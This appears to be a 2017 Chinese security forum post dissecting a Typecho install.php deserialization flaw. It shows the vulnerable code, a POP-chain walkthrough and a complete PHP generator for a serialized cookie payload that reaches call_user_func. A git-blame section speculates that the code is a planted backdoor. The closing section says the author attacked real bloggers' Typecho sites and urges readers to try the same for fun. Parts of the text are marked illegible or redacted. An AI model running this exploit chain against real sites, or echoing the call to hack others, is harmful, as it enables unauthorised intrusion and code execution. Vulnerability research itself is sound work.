

[登录](#)

Typecho 事件始末

[净身刀](#) / 2017-10-25 09:45:00 / 浏览数 4561 [技术文章](#) [技术文章](#) [顶\(0\)](#) [踩\(0\)](#)

```
title: typecho 事件始末
date: 2017-10-13
categories: web
```

tags: [php,web]

仓促成文，睡觉。

引子

[illegible]

```
POST /index.php/action/xmlrpc HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
```

```
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://xxxxxx/</string></value></param>
</params></methodCall>
```

然后昨天的时候，tomato师父说，打码打码打码打码打码打码打码打码打码打码打码打码打码。我觉得这个也不是不能搞，并且我十一审代码的时候，发现了代码中有

install.php

install.php在安装后不会默认删除，我们查看其中的逻辑分支会看到这样一段代码：

```
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
.....
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
.....
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
```

这段代码只要你设置了正确的referer，然后加上一个finish参数就可以进入到这个分支中，他会直接反序列化cookie中传入的一个值，然后进行一些db初始化操作，但是这个

rop

我们首先进入Typecho_Db的构造函数看一眼他会\$config做什么处理：

```
public function __construct($adapterName, $prefix = 'typecho_')
{
    /** ██████████ */
    $this->_adapterName = $adapterName;
}
```

```
/** ████████ */
```

```
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
```

我们发现第一个参数经过了拼接，所以会自动调用 `__toString` 这个魔术方法，然后我们找一些含有 `__toString` 的类，这里我们找到 `class Typecho_Feed` 他的 `__toString` 方法有些复杂，但是不难从中看出他在358行，执行了这样一段代码：

```
<name>' . $item['author']->screenName . '</name>
```

其中 `$item` 是我们可以通过对对象注入直接控制的。

那么从这行代码出发，我们进而就可以调用 `__get` 这个魔术方法，继续寻找含有 `__get` 的 gadget，我们找到了 `class Typecho_Request` 他的 `__get` 方法会调用自身的 `get` 方法：

```
public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}
```

`get` 方法在为 `$value` 赋值并检查其类型后，会调用自身 `_applyFilter` 方法，然后继续往深处跟：

```
private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }
    }

    $this->_filter = array();
}

return $value;
}
```

在 `_applyFilter` 方法中我们最终发现了一个可以代码执行的地方：

```
call_user_func($filter, $value);
```

此处的两个参数都是我们可以控制的，这里我们的 rop 已经初步构造完成。

解决一些小问题

在 `install.php` 的开头部分调用了程序调用了 `ob_start()`；，而我们的对象注入操作必定会触发代码中定义的 `exception`：

```
public static function exceptionHandle(Exception $exception)
{
    @ob_end_clean();

    if (defined('__TYPECHO_DEBUG__')) {
        echo '<h1>' . $exception->getMessage() . '</h1>';
        echo nl2br($exception->__toString());
    } else {
        if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
            $handleClass = self::$exceptionHandle;
            new $handleClass($exception);
        } else {
            self::error($exception);
        }
    }
}
```

```
exit;
}
```

这样他会在处理异常时调用ob_end_clean，这样我们就算执行了代码，也无法拿到输出。

注意，最后调用call_user_func的时候，是一个循环，我们在一次运行中去调用多个函数，甚至实例的某个方法，因为他没有限制传入的\$filter是不是一个数组。这样我

```
<?php
class Typecho_Response{}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName']=-1;
$this->_filter[0]='phpinfo';
$x = new Typecho_Response;
$this->_filter[1]=array($x,'redirect' );
}
}
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';

/** RSS 2.0 */
const RSS2 = 'RSS 2.0';

/** ATOM 1.0 */
const ATOM1 = 'ATOM 1.0';

/** RSS */
const DATE_RFC822 = 'r';

/** ATOM */
const DATE_W3CDTF = 'c';

/** */
const EOL = "\n";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct(){
$this->_type=self::RSS2;
$item['link']='1';
$item['title']='2';
$item['date']=1507720298;
$item['author']= new Typecho_Request();
$this->_items[0]=$item;
}
}

$x=new Typecho_Feed();

$a=array(
'host' => 'localhost',
'user' => 'root',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter'=>$x,
'prefix'=>'typecho_'
);
echo serialize($a);
echo "\n";
echo urlencode(base64_encode(serialize($a)));
?>
```

backdoor ?


写完exp后，我回过头去查看最开始的漏洞入口，我发现这段代码其实放在这里没有任何合理性，尽管他的代码风格和下面的很像，但是他在这里起不到任何作用，然后php

fix #219

[Browse files](#)

修正后台->设置->评论->允许使用的html标签里的重复编码问题

master (#2) v1.1-15.5.12-beta v0.9-14.5.25-beta

 joyqi committed on 8 Apr 2014

1 parent ea3d558 commit 23b87aeb1f6533ad3ffc67ca1cb031ed4eccd243

Showing 2 changed files with 15 additions and 3 deletions.

Unified Split

16 install.php

View

```
@@ -192,7 +192,21 @@ function _u() {  
192 192 <p class="message error"><?php _e('您没有上传 config.inc.php 文件, 请您重新安装! '); ?> <button class="b
```

commit 23b87aeb, 祁宁在 2014-04-08 22:43:32

点提交, 这里我俩就开始疑惑, 既然14年就有这段代码, 那为啥php师父的旧版本上没有, 新版本上反而有了呢, 我们看了下这个commit的详情:

```
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 225) <div class="typecho-install-body">  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 226) <form method="post" action="?config" name="config">  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 227) <p class="message error"><?php _e('您没有执行安装步骤, 请您重新安装!  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 228) </form>  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 229) </div>  
^55379c9 (joyqi 2013-07-17 13:13:57 +0800 230) <?php else : ?>  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 231) <?php  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 232) $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_co  
nfig')));  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 233) Typecho_Cookie::delete('__typecho_config');  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 234) $db = new Typecho_Db($config['adapter'], $config['prefix']);  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 235) $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 236) Typecho_Db::set($db);  
23b87aeb (祁宁 2014-04-08 22:43:32 +0800 237) ?>  
^55379c9 (joyqi 2013-07-17 13:13:57 +0800 238) <h1 class="typecho-install-title"><?php _e('安装成功!'); ?></h1>
```

我们发现 祁宁 其实就是 joyqi, 而joyqi是typecho的核心开发者, 他把这段代码在 2014-04-08 写好后直接提交在了master中, 查看 v0.9-14.5.25 的releases, 其中已经包含了这段代码, 也就是说, 这段代码形似后门的代码由核心开发者提交后, 存在了三年半的时间, 都没有任何人发现。。。。

那么究竟是谁添加的这段鸡儿用没有, 但是谁都看不出来的代码呢。。。。可能是14年的时候 joyqi 对账号被人黑掉了吧, 也或许, 这真的是开发者的一时手滑。细思恐极。

乐呵一下

圈内有几位知名的黑客大佬的博客是用typecho的, 打了一下, 还是可以搞的, 大家也可以打一打乐呵一下。

大哥抽烟.jpg

点击收藏 | 0 关注 | 0

[上一篇：第三季度安全客季刊发布](#) [下一篇：Wordpress安全架构分析](#)

1. 0 条回复

- 动手手指, 沙发就是你的了!

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)